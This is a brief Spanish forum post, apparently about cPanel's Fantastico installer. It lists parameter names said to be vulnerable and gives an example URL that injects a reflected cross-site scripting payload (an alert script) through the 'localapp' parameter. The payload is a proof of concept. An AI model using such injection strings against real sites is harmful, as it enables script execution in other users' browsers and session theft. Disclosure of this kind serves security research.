Hay más variables vulnerables, aquí tenéis una pequeña lista:
Se usa así:
donde "localapp" es el nombre de variable.
Código [Seleccionar]
$localapp
$updatedir
$scriptpath_show
$domain_show
$thispage
$thisapp
$currentversionSe usa así:
Código [Seleccionar]
https://dominio.com:2083/frontend/x3/fantastico/autoinstall4imagesgalleryupgrade.php?action=Upgrad e%20to%201.7.4&localapp=%22%3Cscript%3Ealert(%27XSS%27)%3C/script%3Edonde "localapp" es el nombre de variable.